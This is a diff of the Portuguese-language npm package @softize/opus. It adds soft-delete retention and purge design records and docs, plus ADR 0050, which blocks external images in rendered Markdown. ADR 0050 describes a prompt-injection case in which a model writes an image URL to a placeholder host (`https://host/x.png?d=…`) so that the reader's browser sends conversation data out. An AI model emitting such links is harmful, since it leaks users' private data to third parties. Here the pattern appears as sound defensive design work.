@softize/opus 24.0.1 → 25.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -90,7 +90,7 @@ async function main() {
90
90
  const opusCoreUrl = pathToFileURL(
91
91
  path.join(PACKAGE_ROOT, "src", "core", "index.ts"),
92
92
  ).href;
93
- const { flattenDomain } = await import(opusCoreUrl);
93
+ const { flattenDomain, domainPurges, declaredJsonSchema } = await import(opusCoreUrl);
94
94
 
95
95
  const opusSeedUrl = pathToFileURL(
96
96
  path.join(PACKAGE_ROOT, "src", "seed", "index.ts"),
@@ -137,7 +137,10 @@ async function main() {
137
137
 
138
138
  const ctx = {
139
139
  flattenDomain,
140
+ domainPurges,
141
+ // Standard Schema que declara o próprio JSON Schema (ADR 0051) dispensa o zod.
140
142
  toJsonSchema: (schema) =>
143
+ declaredJsonSchema(schema, { target: "openapi-3.0" }) ??
141
144
  zodToJsonSchema(schema, { target: "openApi3", $refStrategy: "none" }),
142
145
  sourceConfigDir: path.dirname(configAbs),
143
146
  };
@@ -150,7 +153,7 @@ async function main() {
150
153
  }
151
154
  const actionRegistry = Object.fromEntries(
152
155
  cfg.domains
153
- .flatMap((domain) => collectDomainActions(domain))
156
+ .flatMap((domain) => collectDomainActions(domain, ctx))
154
157
  .map((action) => [action.name, action]),
155
158
  );
156
159
  const presentations = validatePresentations(
@@ -185,12 +188,15 @@ async function main() {
185
188
  emit({ ok: true, payload });
186
189
  }
187
190
 
188
- function collectDomainActions(domain) {
191
+ function collectDomainActions(domain, ctx, parentPath = []) {
189
192
  const actions = Array.from(iterateActions(domain.actions));
193
+ for (const purge of ctx.domainPurges(domain, parentPath)) actions.push(purge.action);
190
194
  for (const subdomain of Array.isArray(domain.subdomains)
191
195
  ? domain.subdomains
192
196
  : []) {
193
- actions.push(...collectDomainActions(subdomain));
197
+ actions.push(
198
+ ...collectDomainActions(subdomain, ctx, [...parentPath, domain.name]),
199
+ );
194
200
  }
195
201
  return actions;
196
202
  }
@@ -206,8 +212,11 @@ function serializeSeed(seed, isSeedDefinition, publicSeedDefinition) {
206
212
  // Serialização
207
213
  // =============================================================================
208
214
 
209
- function serializeDomain(domain, ctx) {
215
+ function serializeDomain(domain, ctx, parentPath = []) {
210
216
  const entityList = serializeEntities(domain.entities);
217
+ // Expurgo derivado das entidades com retenção (ADR 0051): a action e a rotina entram no
218
+ // manifest no domínio que lista a entidade, como as declaradas.
219
+ const purges = ctx.domainPurges(domain, parentPath);
211
220
  return {
212
221
  name: domain.name,
213
222
  description: nullable(domain.description),
@@ -216,17 +225,21 @@ function serializeDomain(domain, ctx) {
216
225
  entities: entityList,
217
226
  dataProducts: serializeDataProducts(domain.dataProducts),
218
227
  dicts: serializeDicts(domain.dicts),
219
- actions: Array.from(iterateActions(domain.actions), (a) =>
220
- serializeAction(a, ctx),
221
- ),
228
+ actions: [
229
+ ...iterateActions(domain.actions),
230
+ ...purges.map((purge) => purge.action),
231
+ ].map((a) => serializeAction(a, ctx)),
222
232
  reactions: Array.isArray(domain.reactions)
223
233
  ? domain.reactions.map(serializeReaction)
224
234
  : [],
225
- schedules: Array.isArray(domain.schedules)
226
- ? domain.schedules.map(serializeSchedule)
227
- : [],
235
+ schedules: [
236
+ ...(Array.isArray(domain.schedules) ? domain.schedules : []),
237
+ ...purges.map((purge) => purge.schedule),
238
+ ].map(serializeSchedule),
228
239
  subdomains: Array.isArray(domain.subdomains)
229
- ? domain.subdomains.map((s) => serializeDomain(s, ctx))
240
+ ? domain.subdomains.map((s) =>
241
+ serializeDomain(s, ctx, [...parentPath, domain.name]),
242
+ )
230
243
  : [],
231
244
  };
232
245
  }
package/bin/lib/mcp.mjs CHANGED
@@ -42,7 +42,7 @@ export function buildServer() {
42
42
  server.registerTool(
43
43
  'opus_check',
44
44
  {
45
- description: 'Valida as convenções das actions (régua) — defineAction e o split defineContract+bindAction: naming, kind, ordem dos campos, export, requires-sem-authorize, ignored-by-kind. Retorna findings.',
45
+ description: 'Valida as convenções das actions (régua) — defineAction e o split defineContract+bindAction: naming, kind, ordem dos campos, export, requires-sem-authorize, ignored-by-kind, soft-delete-retention. Retorna findings.',
46
46
  inputSchema: { dir: z.string().optional() },
47
47
  },
48
48
  async ({ dir }) => asText(await scanDir(dirOf(dir))),
@@ -0,0 +1,64 @@
1
+ # ADR 0050 — Markdown não carrega imagem externa
2
+
3
+ - **Status:** aceita.
4
+ - **Data:** 2026-10-02.
5
+ - **Complementa:** a decisão registrada em `markdown.tsx` de renderizar com `html: false`, porque o
6
+ conteúdo vem de pessoas e de modelos.
7
+
8
+ ## Contexto
9
+
10
+ O `Markdown` é o renderer único do pacote: o chat, os painéis e a documentação usam a mesma
11
+ instância do markdown-it. Ele já escapa HTML do fonte e o markdown-it já recusa links
12
+ `javascript:` e `data:text/html`. Faltava uma terceira via: `![](https://host/x.png?d=…)` virava um
13
+ `<img>` que o navegador busca sozinho, sem nenhum clique.
14
+
15
+ Isso importa porque boa parte desse conteúdo é escrita por um modelo. Um modelo induzido por
16
+ injeção de prompt (um documento, uma resposta de ferramenta, uma mensagem de terceiro) pode montar
17
+ o endereço de uma imagem com dados da conversa e deixar que o navegador de quem lê os entregue ao
18
+ host. Num relatório salvo, isso acontece também com quem abre o relatório depois.
19
+
20
+ Nenhum consumidor conhecido depende de imagem externa no Markdown: a documentação do pacote não usa
21
+ imagem em Markdown, e a plataforma Grand Brasil não tem imagem externa em documentos, Base de
22
+ conhecimento nem relatórios.
23
+
24
+ ## Decisão
25
+
26
+ 1. O `Markdown` não renderiza `<img>` para endereço absoluto, com esquema (`https:`, `http:`) ou
27
+ relativo ao protocolo (`//host`). No lugar da imagem fica o texto alternativo dela, num
28
+ `span` com `data-slot="markdown-external-image"`, sem link: seguir o endereço exigiria um
29
+ clique, mas um link montado pelo modelo não deve ser oferecido como se fosse da imagem.
30
+ 2. Endereço relativo (`/caminho`, `./arquivo.png`) continua renderizando a imagem, porque é servido
31
+ pela própria aplicação. As imagens em `data:` que o markdown-it já aceita (`png`, `gif`, `jpeg`,
32
+ `webp`) também continuam: não fazem requisição.
33
+ 3. A regra vale para a instância compartilhada `markdownIt`, então chat, painéis e documentação
34
+ seguem o mesmo comportamento. Não há opção para liberar imagem externa; um consumidor que
35
+ precise disso traz o caso concreto para uma decisão nova.
36
+
37
+ ## Consequências
38
+
39
+ - Uma resposta ou um relatório com imagem externa mostra o texto alternativo no lugar da imagem.
40
+ - A defesa não depende de cada aplicação configurar uma Content Security Policy com `img-src`,
41
+ embora uma CSP continue sendo uma segunda camada recomendada.
42
+ - Imagem absoluta da própria origem também deixa de carregar. Não há uso conhecido; se aparecer,
43
+ o caminho é usar o endereço relativo.
44
+ - A imagem relativa continua fazendo uma requisição à própria origem, com os cookies de quem lê. Se
45
+ a aplicação tiver um redirecionamento aberto ou um proxy de imagem, o mesmo vetor volta por ali.
46
+ É mais um motivo para manter a CSP com `img-src` como segunda camada.
47
+
48
+ ## Alternativas consideradas
49
+
50
+ - **Bloquear toda imagem.** Fecharia também o resíduo da imagem relativa, mas tiraria imagens que a
51
+ própria aplicação serve (anexos, ilustrações de documentação) sem um vetor conhecido que o
52
+ justifique hoje.
53
+ - **Transformar a imagem externa em link.** Mantém o endereço acessível, mas oferece com aparência
54
+ legítima um link montado pelo modelo; o texto alternativo basta para a leitura.
55
+ - **Lista de origens permitidas ou proxy de imagem.** Exigiriam configuração por aplicação e um
56
+ serviço novo para um uso que não existe. Ficam para quando um consumidor trouxer o caso.
57
+ - **Só CSP na aplicação.** Depende de cada consumidor configurar e não vale fora do navegador da
58
+ aplicação (por exemplo, na documentação publicada). Fica como segunda camada, não como a defesa.
59
+
60
+ ## Verificação
61
+
62
+ - Teste do `Markdown`: imagem `https:`, `//host`, com maiúsculas, com esquema em entidade, por
63
+ referência, dentro de link e em célula de tabela não geram `<img>` e mostram o texto alternativo;
64
+ imagem relativa e `data:image/png` continuam gerando `<img>`.
@@ -0,0 +1,224 @@
1
+ # ADR 0051 — Exclusão lógica declara retenção e expurgo
2
+
3
+ - **Status:** aceita.
4
+ - **Data:** 2026-10-02.
5
+ - **Complementa:** ADR 0028, que roda actions agendadas como o sistema, e ADR 0002, cujo par
6
+ declaração e binding serve de molde.
7
+
8
+ ## Contexto
9
+
10
+ `defineEntity({ softDelete: true })` injeta a coluna `deletedAt`. Pelo `kyselyRepo`, excluir passa a
11
+ marcar a data, e `findById`, `all` e `list` deixam os registros excluídos de fora. O ciclo fica pela
12
+ metade: o Opus sabe excluir de forma lógica, mas nada diz quando o registro sai de vez.
13
+
14
+ Sem esse fechamento, cada consumidor resolve sozinho. A plataforma Grand Brasil é o caso concreto:
15
+
16
+ - os fluxos de automação fazem exclusão lógica e expurgo à mão, com coluna própria e uma action
17
+ `automation.purge-deleted` escrita no domínio. Ela é restrita ao sistema e à administração, é
18
+ interna e roda numa rotina diária;
19
+ - os relatórios ainda apagam de vez. Por isso, excluir um relatório cuja conversa de IA registrou
20
+ uma autorização de extração de dado pessoal esbarra numa escolha ruim: apagar a autorização
21
+ junto, contra a regra que manda guardá-la, ou impedir a exclusão.
22
+
23
+ A forma escolhida para os relatórios é a mesma dos fluxos: excluir de forma lógica, manter o
24
+ histórico durante um prazo e expurgar depois, numa rotina. Com dois casos, o padrão já se repete.
25
+ No terceiro, quem esquecer o expurgo deixa registros excluídos acumulando para sempre, inclusive
26
+ dado pessoal, sem que nada avise.
27
+
28
+ O que precisa ser verdadeiro:
29
+
30
+ - toda entidade com exclusão lógica tem um prazo de retenção declarado ou declara, com motivo, que
31
+ guarda para sempre;
32
+ - o expurgo existe, roda sozinho, só o sistema o executa e deixa rastro do que apagou;
33
+ - o prazo prometido é cumprido: nada expurga antes dele;
34
+ - a ordem do que se apaga e o que se preserva continuam sendo decisão do domínio, porque variam:
35
+ um fluxo leva junto as execuções, e um relatório precisa apagar conversas em outro serviço e
36
+ preservar o consumo de IA;
37
+ - a falta de declaração quebra a verificação, em vez de depender de alguém lembrar.
38
+
39
+ ## Decisão
40
+
41
+ ### 1. A retenção é declarada na entidade
42
+
43
+ `softDelete` passa a aceitar um objeto, numa de duas formas mutuamente exclusivas:
44
+
45
+ ```ts
46
+ type SoftDelete =
47
+ | true // aceito pelo tipo; reprovado pelo `opus check` (seção 6)
48
+ | {
49
+ retainDays: number // inteiro positivo; conta a partir de `deletedAt`
50
+ timezone: string // IANA, obrigatório: a rotina não depende do fuso da máquina
51
+ label: string // título da action, completo: 'Expurgar relatórios excluídos'
52
+ description: string // descrição da action, completa
53
+ schedule?: { cron?: string; enabled?: boolean } // padrão: '30 3 * * *', habilitada
54
+ batchSize?: number // padrão: 200 linhas por lote; no máximo 10_000
55
+ maxDurationMs?: number // padrão: 60_000 por execução
56
+ }
57
+ | { retain: 'forever'; reason: string }
58
+ ```
59
+
60
+ Toda forma diferente de `true` mantém a exclusão lógica. Os pontos do pacote que hoje testam
61
+ `softDelete === true` passam por uma única função, `hasSoftDelete(entity)`, que reconhece as três:
62
+ `entityColumns` (injeção de `deletedAt`), o tipo `SoftDeletePart` e o `kyselyRepo` (filtro de
63
+ leitura e exclusão lógica). Sem isso, a forma de objeto deixaria de injetar a coluna e de filtrar,
64
+ sem erro nenhum.
65
+
66
+ ### 2. Uma entidade com retenção pertence a exatamente um domínio
67
+
68
+ A action e a rotina do expurgo nascem no domínio que lista a entidade em `entities`.
69
+
70
+ - A mesma entidade com retenção em dois domínios, ou num domínio e num subdomínio dele, falha com
71
+ `domain.entity_registered_twice`: no `validateDomain`, dentro da árvore de um domínio, e no
72
+ `register` do runtime, entre domínios registrados separadamente. A comparação é pela tabela, para
73
+ pegar também duas declarações `defineEntity` da mesma tabela, que gerariam dois expurgos dela.
74
+ - Entidade com `retainDays` que não aparece em nenhum `entities` de domínio é reprovada pelo
75
+ `opus check`. O check liga a entidade ao domínio pelo identificador exportado, como já liga um
76
+ `bindAction` ao seu contrato. Assim, uma entidade usada só por repositório não fica sem expurgo.
77
+
78
+ ### 3. O que o Opus gera
79
+
80
+ `flattenDomain` deriva, de cada entidade com `retainDays`, um contrato e uma rotina, e a checagem de
81
+ duplicidade do `validateDomain` passa a incluí-los. A derivação é pura e isomorfa, como o resto do
82
+ `flattenDomain`.
83
+
84
+ **Nomes.** A action se chama `<caminho-do-domínio>.<entidade-em-kebab>.purge-deleted`. Quando a
85
+ entidade em kebab é igual ao último segmento do domínio, o segmento não se repete: a entidade
86
+ `automation` no domínio `automation` gera `automation.purge-deleted`, e a entidade `reportShare` no
87
+ domínio `report` gera `report.report-share.purge-deleted`. A rotina se chama `<action>.daily`. O
88
+ caminho do domínio entra como está, sem conversão, como nas demais actions do domínio.
89
+
90
+ **Contrato da action:**
91
+
92
+ - entrada `{ olderThanDays?: number }`: inteiro, no mínimo o `retainDays` e no máximo 3650. O
93
+ padrão é o `retainDays`. Expurgar antes do prazo é recusado, para cumprir a retenção declarada;
94
+ - saída `{ purged: number }`;
95
+ - `effect: 'write'`, `automatable: true`, `internal: true` (não fica exposta por REST),
96
+ `personalData: false` e `ai: false`. O motivo de ficar fora da IA (é operação do sistema, não
97
+ pedido de uma pessoa) fica registrado no fonte do SDK, porque a `description` é do consumidor;
98
+ - autorização: só o sistema (`isSystemActor`). Não há execução manual por pessoa nesta decisão;
99
+ - textos: o `label` e a `description` declarados na retenção, completos e literais. O Opus não
100
+ monta frase a partir do nome do recurso, porque um modelo fixo erra a concordância (um recurso
101
+ feminino viraria "conversas excluídos"). O `opus copy` passa a ler esses dois campos no
102
+ `defineEntity`, como já lê os textos de `defineContract`.
103
+
104
+ **Rotina:** `defineSchedule` com a action, `cron` (padrão `'30 3 * * *'`), o `timezone` declarado e
105
+ `enabled` (padrão verdadeiro). Ela roda como o sistema, conforme a ADR 0028. Como qualquer rotina,
106
+ exige um `SchedulerAdapter` no `start()`, mesmo com `enabled: false`.
107
+
108
+ ### 4. Quem executa: handler padrão ou `bindPurge`
109
+
110
+ O contrato é gerado no core. O handler é anexado no servidor:
111
+
112
+ - **Padrão:** quando o runtime tem um `DataAdapter` Kysely, o `register` anexa o handler padrão.
113
+ Ele apaga as linhas com `deletedAt` anterior ao corte, das mais antigas para as mais novas, em
114
+ lotes de `batchSize`. Repete os lotes até não sobrar nada ou até esgotar `maxDurationMs`.
115
+ - **Próprio:** quando apagar a linha não basta, o domínio liga `bindPurge(entity, handler)` e o
116
+ registra em `purges` no `defineDomain`. `isDomainConfig` passa a reconhecer `purges`. O handler
117
+ recebe `{ ctx, cutoff, batchSize }`, apaga um lote e devolve `{ ids: string[] }`. O Opus repete os
118
+ lotes enquanto houver ids e tempo, e continua dono do contrato, da rotina, dos lotes e do registro.
119
+ Respeitar o `cutoff` é obrigação do handler: o Opus recusa um `olderThanDays` abaixo do prazo, mas
120
+ só o handler decide o que apaga. Um lote que devolve um id já removido na mesma execução, ou mais
121
+ ids que o `batchSize`, interrompe o expurgo com `purge.no_progress`; sem essa guarda, um handler
122
+ que não avança repetiria lotes até o fim do tempo. Antes de parar, o Opus registra os ids novos
123
+ daquele lote, que o handler já apagou. Entre um lote e outro, o Opus cede a vez ao event loop.
124
+ Ele decide a ordem, o que fica e o que sai em outro serviço. É a separação da ADR 0002: a entidade,
125
+ com a retenção, fica no contrato; o handler fica no servidor.
126
+ - **Sem handler padrão aplicável e sem `bindPurge`**, por exemplo sem `DataAdapter` ou com um que não
127
+ seja Kysely: o `start()` recusa com `runtime.purge_handler_missing`, nomeando a entidade.
128
+ - **No modo design**, a action gerada se comporta como as demais: entra no catálogo, e o handler é o
129
+ do design. As rotinas não são iniciadas.
130
+
131
+ **Dependências no banco:** o schema do Opus não declara cascata; ela depende da DDL do consumidor.
132
+ Se uma chave estrangeira restritiva impedir a exclusão, a execução agendada falha com o erro do
133
+ banco no log e na auditoria da execução, e nada é apagado daquele lote. Como a linha travada está
134
+ entre as mais antigas, ela volta ao primeiro lote em toda execução: o expurgo da entidade fica
135
+ parado até a chave ser ajustada. A saída é ajustar a chave, com cascata na DDL, ou usar `bindPurge`
136
+ para apagar os dependentes primeiro.
137
+
138
+ ### 5. O registro do que saiu
139
+
140
+ Cada lote que apaga algo registra a chave `opus.purge`, com a entidade, a action, o corte, o
141
+ `olderThanDays`, o número do lote e os ids removidos, em blocos de no máximo 500 ids. Assim, um
142
+ acúmulo grande vira vários registros de tamanho limitado, nunca uma linha sem teto. No fim da
143
+ execução que apagou algo, `opus.purge.total` traz a quantidade, o número de lotes e se restou
144
+ trabalho: verdadeiro quando a execução parou por tempo com lote cheio ou foi interrompida por erro.
145
+ Os registros vão para o `ctx.log` quando existe e, senão, para o logger do runtime. Os únicos rastros
146
+ de um expurgo são esses registros e a auditoria da execução agendada.
147
+
148
+ ### 6. O `opus check` cobra a regra
149
+
150
+ A regra `soft-delete-retention` reprova:
151
+
152
+ - entidade com `softDelete: true`, sem retenção;
153
+ - `retain: 'forever'` sem `reason`;
154
+ - `retainDays` sem `timezone`, `label` ou `description`, ou com valor que não é inteiro positivo
155
+ ou passa de 3650, e `batchSize` que não é inteiro positivo ou passa de 10.000;
156
+ - entidade com `retainDays` fora de qualquer `entities` de domínio;
157
+ - `bindPurge` para uma entidade sem `retainDays`;
158
+ - `bindPurge` exportado que não aparece no `purges` de nenhum domínio, porque cairia em silêncio no
159
+ handler padrão.
160
+
161
+ ### 7. Documentação
162
+
163
+ `docs/protocol.md` e `docs/data-layer.md` passam a mostrar a forma com retenção e deixam de
164
+ apresentar `softDelete: true` como suficiente. O trecho de `protocol.md` que promete uma "opção
165
+ explícita" para incluir excluídos na leitura é corrigido: essa opção não existe hoje.
166
+
167
+ ### 8. O que fica fora
168
+
169
+ - Restaurar um registro excluído dentro do prazo. É útil, mas independente do expurgo, e entra
170
+ quando houver o caso.
171
+ - Execução manual do expurgo por uma pessoa.
172
+ - Um motor de retenção para o que não é entidade com exclusão lógica, como logs e trilhas de
173
+ auditoria. Eles têm política própria.
174
+ - A introspecção estática usada pelo MCP de desenvolvimento ainda não mostra a action e a rotina
175
+ geradas; o manifest mostra.
176
+
177
+ ## Consequências
178
+
179
+ - Quem usa `softDelete: true` precisa declarar a retenção ou o motivo para guardar. O `opus check`
180
+ passa a cobrar isso, então a versão é major, com a migração no changelog.
181
+ - O expurgo deixa de ser código repetido em cada domínio. O terceiro caso já nasce com prazo,
182
+ rotina, lotes, autorização e registro, e o esquecimento quebra a verificação.
183
+ - A action de expurgo aparece no manifest e na documentação, e a rotina na lista de agendamentos.
184
+ Fica visível o que cada projeto apaga e quando.
185
+ - O expurgo é irreversível: depois dele, restam só o registro `opus.purge` e a auditoria.
186
+
187
+ ## Alternativas consideradas
188
+
189
+ - **Manter o expurgo no consumidor, com uma convenção escrita.** É o estado de hoje. Não há
190
+ garantia: o próximo domínio pode esquecer, e nada avisa.
191
+ - **Contrato e teste de gate só no consumidor.** Resolveria a Grand Brasil, mas deixaria o
192
+ padrão fora do lugar onde a exclusão lógica já mora, e cada projeto repetiria o gate.
193
+ - **Expurgo implícito, sem declarar prazo.** Um padrão único, por exemplo 30 dias, para toda
194
+ entidade com `softDelete`. Esconderia uma decisão de retenção, que pode envolver dado pessoal,
195
+ atrás de um padrão silencioso.
196
+ - **Fuso padrão do projeto em vez de fuso por entidade.** Seria menos repetitivo, mas o pacote não
197
+ tem esse padrão hoje, e o check, que é estático, não conseguiria verificá-lo. Fica para quando
198
+ houver uma configuração de projeto para agendamentos.
199
+ - **Um motor genérico de retenção para qualquer tabela.** Cobriria logs e trilhas, mas mistura
200
+ políticas diferentes e é cedo demais com os casos que existem.
201
+
202
+ ## Verificação
203
+
204
+ - Testes do SDK:
205
+ - a forma de objeto mantém a exclusão lógica: injeta `deletedAt` e o `kyselyRepo` filtra e marca;
206
+ - a entidade com `retainDays` gera a action e a rotina com os nomes da seção 3, incluindo o caso de
207
+ entidade em kebab diferente do domínio, e com as declarações de contrato e autorização;
208
+ - entrada abaixo do `retainDays` é recusada, e chamador que não é o sistema também;
209
+ - o handler padrão apaga só os excluídos antes do corte, em lotes, do mais antigo para o mais novo,
210
+ para no tempo e registra `opus.purge` com os ids, em blocos limitados, e `opus.purge.total`;
211
+ - uma linha restaurada ou excluída de novo entre a seleção e a exclusão não é apagada;
212
+ - um handler que repete ids ou excede o `batchSize` falha com `purge.no_progress`, rápido e sem
213
+ inflar o registro, e os ids novos do lote que parou entram no registro e no total;
214
+ - o `bindPurge` substitui o padrão e mantém contrato, lotes e registro;
215
+ - entidade em dois domínios, ou duas entidades da mesma tabela, falham com
216
+ `domain.entity_registered_twice`;
217
+ - o `start()` sem handler falha com `runtime.purge_handler_missing`;
218
+ - chave estrangeira restritiva faz a execução falhar sem apagar o lote, e a seguinte também;
219
+ - o core (`src/core/index.ts`) continua sem pacote externo em tempo de execução: os schemas da
220
+ action gerada são Standard Schema com o JSON Schema anexado, sem zod.
221
+ - Testes do `opus check`: os seis casos da seção 6 reprovam, e a declaração completa passa.
222
+ - Teste do `opus copy`: o `label` e a `description` da retenção entram no inventário.
223
+ - Na Grand Brasil, a adoção migra os fluxos de automação para `softDelete` com retenção e cria a
224
+ exclusão lógica dos relatórios com expurgo próprio.
@@ -137,7 +137,13 @@ export const Deal = defineEntity({
137
137
  },
138
138
  relations: { owner: belongsTo('user', { from: 'ownerId' }) },
139
139
  timestamps: true,
140
- softDelete: true,
140
+ // Exclusão lógica com prazo: o Opus gera a action e a rotina de expurgo (ADR 0051).
141
+ softDelete: {
142
+ retainDays: 90,
143
+ timezone: 'America/Sao_Paulo',
144
+ label: 'Expurgar negócios excluídos',
145
+ description: 'Apaga de vez os negócios excluídos há mais de 90 dias.',
146
+ },
141
147
  })
142
148
  ```
143
149
 
@@ -194,6 +200,25 @@ defineAction({
194
200
  })
195
201
  ```
196
202
 
203
+ ### 6. Expurgo dos excluídos
204
+ Com `retainDays`, `remove` marca `deletedAt`, e o domínio que lista a entidade em `entities`
205
+ ganha a action `deal.purge-deleted` e a rotina `deal.purge-deleted.daily` (ADR 0051). Com
206
+ `kyselyData` no runtime, o handler padrão apaga em lotes, do mais antigo para o mais novo, as
207
+ linhas excluídas há mais de `retainDays`. A rotina exige um `SchedulerAdapter`.
208
+
209
+ ```ts
210
+ import { defineDomain } from '@softize/opus'
211
+
212
+ export const deal = defineDomain({ name: 'deal', entities: { Deal } })
213
+ // runtime.register([deal]) → deal.purge-deleted + deal.purge-deleted.daily
214
+ ```
215
+
216
+ Quando apagar a linha não basta, registre um `bindPurge` (de `@softize/opus/data`) em `purges`
217
+ no mesmo domínio. Uma chave estrangeira restritiva faz a execução falhar sem apagar o lote, e como a
218
+ linha travada está entre as mais antigas, toda execução seguinte falha do mesmo jeito: o expurgo da
219
+ entidade fica parado até a chave ser ajustada (cascata na DDL) ou um `bindPurge` apagar os
220
+ dependentes primeiro. Detalhes em `protocol.md`, §15, "Retenção e expurgo".
221
+
197
222
  ## Naming (camel ↔ snake)
198
223
 
199
224
  O backend é **100% camelCase** (TS idiomático); o snake_case mora só no banco. Quem
@@ -233,7 +258,7 @@ export default {
233
258
  2. ✅ `diffColumns` (puro) + `desiredColumns` + `kyselyDriftCheck`.
234
259
  3. ✅ Grupo CLI `db` + `opus db check` (carrega config via tsx, factory `database()`).
235
260
  4. ✅ `kyselyRepo(db, entity)` — CRUD tipado (insert/findById/update/remove/list),
236
- gera id (pk auto), preenche timestamps, respeita soft-delete. Falta o açúcar
261
+ gera id (pk auto), preenche timestamps, respeita a exclusão lógica. Falta o açúcar
237
262
  `ctx.repo(Entity)` (wiring na ActionContext).
238
263
  5. ✅ `opus db migrate` — schema idempotente evolutivo (SQL, config `schema`) + drift-check
239
264
  embutido. (A 1ª versão era Kysely Migrator; aposentada — o formato nunca pegou.)
@@ -252,4 +277,7 @@ export default {
252
277
  Esquecer o plugin → o `db check` falha e expõe (footgun auto-denunciado).
253
278
  10. Aprofundar o drift (índices/FK/tipos/defaults).
254
279
  11. Cursor pagination + `FilterSpec` ricos no search (hoje offset + igualdade).
255
- 12. (Opt-in) drivers de auto-gen: drizzle-kit / Atlas.
280
+ 12. ✅ Retenção da exclusão lógica (ADR 0051): `softDelete` declara `retainDays` ou
281
+ `retain: 'forever'`; o domínio gera a action e a rotina de expurgo, com o handler padrão no
282
+ `kyselyData` ou o próprio em `bindPurge`. Restaurar um excluído dentro do prazo fica fora.
283
+ 13. (Opt-in) drivers de auto-gen: drizzle-kit / Atlas.
package/docs/protocol.md CHANGED
@@ -1942,7 +1942,12 @@ export const Deal = defineEntity({
1942
1942
  ],
1943
1943
 
1944
1944
  timestamps: true,
1945
- softDelete: true,
1945
+ softDelete: {
1946
+ retainDays: 90,
1947
+ timezone: 'America/Sao_Paulo',
1948
+ label: 'Expurgar negócios excluídos',
1949
+ description: 'Apaga de vez os negócios excluídos há mais de 90 dias.',
1950
+ },
1946
1951
  })
1947
1952
  ```
1948
1953
 
@@ -1964,7 +1969,7 @@ fields: { code: t.string().pk(), /* ... */ } // sem id automático
1964
1969
 
1965
1970
  **Timestamps.** `timestamps: true` injeta `createdAt` e `updatedAt` (geridos pelo runtime — o handler nunca seta na mão). Default é `false`.
1966
1971
 
1967
- **Soft delete.** `softDelete: true` injeta `deletedAt`. Actions `search`/`view` filtram registros deletados por default; passe a opção explícita quando quiser incluí-los.
1972
+ **Exclusão lógica.** `softDelete` injeta `deletedAt`. Pelo `kyselyRepo`, `remove` marca a data em vez de apagar, e `findById`, `all` e `list` deixam os excluídos de fora; não há opção para incluí-los na leitura, e uma consulta escrita à mão aplica o filtro por conta própria. A declaração diz também quando o registro excluído sai de vez: `retainDays` com o fuso e os textos da action de expurgo, ou `{ retain: 'forever', reason }`. `softDelete: true` ainda é aceito pelo tipo, mas o `opus check` o reprova. Veja [Retenção e expurgo](#retenção-e-expurgo).
1968
1973
 
1969
1974
  ### Campos
1970
1975
 
@@ -2118,6 +2123,97 @@ export const crm = defineDomain({
2118
2123
  })
2119
2124
  ```
2120
2125
 
2126
+ ### Retenção e expurgo
2127
+
2128
+ Uma entidade com exclusão lógica declara por quanto tempo guarda o registro excluído. Sem esse
2129
+ prazo, os excluídos se acumulam para sempre, inclusive dado pessoal, sem que nada avise. Há duas
2130
+ formas, e a escolha é do domínio (ADR 0051):
2131
+
2132
+ ```ts
2133
+ // Prazo: o registro excluído sai de vez depois de 90 dias.
2134
+ softDelete: {
2135
+ retainDays: 90, // inteiro de 1 a 3650, contado a partir de deletedAt
2136
+ timezone: 'America/Sao_Paulo', // fuso da rotina; obrigatório
2137
+ label: 'Expurgar negócios excluídos', // título da action de expurgo, completo
2138
+ description: 'Apaga de vez os negócios excluídos há mais de 90 dias.',
2139
+ schedule: { cron: '30 3 * * *', enabled: true }, // opcional; estes são os padrões
2140
+ batchSize: 200, // opcional; linhas por lote, até 10_000
2141
+ maxDurationMs: 60_000, // opcional; tempo máximo de uma execução
2142
+ }
2143
+
2144
+ // Guarda para sempre, com o motivo.
2145
+ softDelete: { retain: 'forever', reason: 'Exigência legal de guarda do histórico.' }
2146
+ ```
2147
+
2148
+ O `label` e a `description` entram na action como estão: o Opus não monta a frase a partir do nome
2149
+ do recurso, porque um modelo fixo erraria a concordância. O `opus copy` os lê no `defineEntity`.
2150
+
2151
+ **O que o Opus gera.** Para cada entidade com `retainDays`, o domínio que a lista em `entities`
2152
+ ganha uma action e uma rotina. A action se chama `<caminho-do-domínio>.<entidade-em-kebab>.purge-deleted`;
2153
+ quando a entidade em kebab é igual ao último segmento do domínio, ele não se repete. A entidade
2154
+ `deal` no domínio `deal` gera `deal.purge-deleted`, e `dealNote` no domínio `crm` gera
2155
+ `crm.deal-note.purge-deleted`. A rotina se chama `<action>.daily`.
2156
+
2157
+ | Peça | Declaração |
2158
+ |---|---|
2159
+ | Entrada | `{ olderThanDays?: number }`: inteiro entre o `retainDays` e 3650, com o `retainDays` como padrão. Expurgar antes do prazo é recusado. |
2160
+ | Saída | `{ purged: number }` |
2161
+ | Natureza | `kind: 'simple'`, `effect: 'write'`, `personalData: false` |
2162
+ | Acesso | `automatable: true` e `authorize` que aceita só o sistema (`isSystemActor`); `internal: true` (fora do REST) e `ai: false` (é operação do sistema, não pedido de uma pessoa) |
2163
+ | Rotina | `cron` declarado ou `'30 3 * * *'`, no `timezone` declarado, executada como o sistema (ADR 0028) |
2164
+
2165
+ A mesma entidade com retenção em dois domínios, ou num domínio e num subdomínio dele, falha com
2166
+ `domain.entity_registered_twice`; a comparação é pela tabela, então duas declarações da mesma
2167
+ tabela também falham. A checagem de nomes duplicados do domínio inclui a action e a
2168
+ rotina geradas.
2169
+
2170
+ **Quem apaga.** O contrato nasce no core; o handler é anexado no servidor, no `register`:
2171
+
2172
+ - com o `DataAdapter` do driver Kysely, vale o handler padrão. Ele apaga as linhas com `deletedAt`
2173
+ anterior ao corte, das mais antigas para as mais novas, em lotes de `batchSize`, até não sobrar
2174
+ nada ou até esgotar `maxDurationMs`;
2175
+ - quando apagar a linha não basta, o domínio liga um handler próprio com `bindPurge`, de
2176
+ `@softize/opus/data`, e o registra em `purges` no mesmo `defineDomain`. O handler recebe
2177
+ `{ ctx, cutoff, batchSize }`, apaga um lote e devolve `{ ids }`; o Opus repete os lotes enquanto
2178
+ houver ids e tempo. O handler precisa respeitar o `cutoff`: a garantia de nunca expurgar antes do
2179
+ prazo depende dele. Um id repetido na mesma execução, ou mais ids que o `batchSize`, interrompe o
2180
+ expurgo com `purge.no_progress`, para que um handler que não avança não repita lotes até o fim do
2181
+ tempo. Os ids novos desse lote, que o handler já apagou, entram no registro antes da parada;
2182
+ - sem nenhum dos dois, o `start()` recusa com `runtime.purge_handler_missing`, nomeando a entidade.
2183
+
2184
